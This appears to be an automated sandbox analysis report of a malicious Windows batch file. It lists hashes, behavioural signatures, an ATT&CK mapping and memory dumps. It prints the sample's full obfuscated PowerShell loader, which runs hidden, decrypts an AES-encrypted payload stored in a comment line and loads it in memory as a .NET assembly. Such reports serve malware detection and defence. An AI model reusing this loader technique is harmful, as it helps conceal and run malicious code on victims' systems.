cd1e40dd11cb7eb2dad6cef5e5f40f7f536cae0d0216a7914f1eea725d707758

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-12-2024 07:38

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General

Target

a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat
Size

48KB
MD5

83875df1ddf8a47531e763f5bc140691
SHA1

8d1bc0c5bceedd229b8faaf6542779726188b145
SHA256

a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34
SHA512

e19c020f4fe1922a4adef3dd50851514a99852b7eefa9b74e6e954f941349a60589e171a618423d0029e8d3e8568536026a1012586a74daa4d19a1ebabb701a7
SSDEEP

768:xZZOUUP++sgCpDgSE2WPENq+qrD/PESqitk3Spn1eqy1nUNamt:m+qCNgNgqdj1qitvl

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2836	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2700	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2836	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 2836	2700	cmd.exe	32
PID 2700 wrote to memory of 2836	2700	cmd.exe	32
PID 2700 wrote to memory of 2836	2700	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe
  "a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $yruxp = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat').Split([Environment]::NewLine);foreach ($AoHcJ in $yruxp) { if ($AoHcJ.StartsWith(':: ')) { $jSeTT = $AoHcJ.Substring(3); break; }; };$iPrdF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jSeTT);$pstaK = New-Object System.Security.Cryptography.AesManaged;$pstaK.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pstaK.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pstaK.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oK9Sb6xmpGv+i/gAJDgfaubHDtLnuOUbT8h3z0NIMvs=');$pstaK.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CUeA3Qkm0ivKUIPg7zp+ug==');$FYwLw = $pstaK.CreateDecryptor();$iPrdF = $FYwLw.TransformFinalBlock($iPrdF, 0, $iPrdF.Length);$FYwLw.Dispose();$pstaK.Dispose();$XhabZ = New-Object System.IO.MemoryStream(, $iPrdF);$lkvIz = New-Object System.IO.MemoryStream;$oenGH = New-Object System.IO.Compression.GZipStream($XhabZ, [IO.Compression.CompressionMode]::Decompress);$oenGH.CopyTo($lkvIz);$oenGH.Dispose();$XhabZ.Dispose();$lkvIz.Dispose();$iPrdF = $lkvIz.ToArray();$QQBse = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($iPrdF);$qnZNg = $QQBse.EntryPoint;$qnZNg.Invoke($null, (, [string[]] ('')))
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\a15f29572a149a04d45b8c01daa047ec9f517077a507f8d53ac9b8a8ceed4a34.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2836-5-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

Filesize
4KB

Download
memory/2836-6-0x000000001B470000-0x000000001B752000-memory.dmp

Filesize
2.9MB

Download
memory/2836-7-0x0000000000400000-0x0000000000408000-memory.dmp

Filesize
32KB

Download
memory/2836-8-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-13-0x000000000293B000-0x00000000029A2000-memory.dmp

Filesize
412KB

Download
memory/2836-12-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2836-10-0x0000000002934000-0x0000000002937000-memory.dmp

Filesize
12KB

Download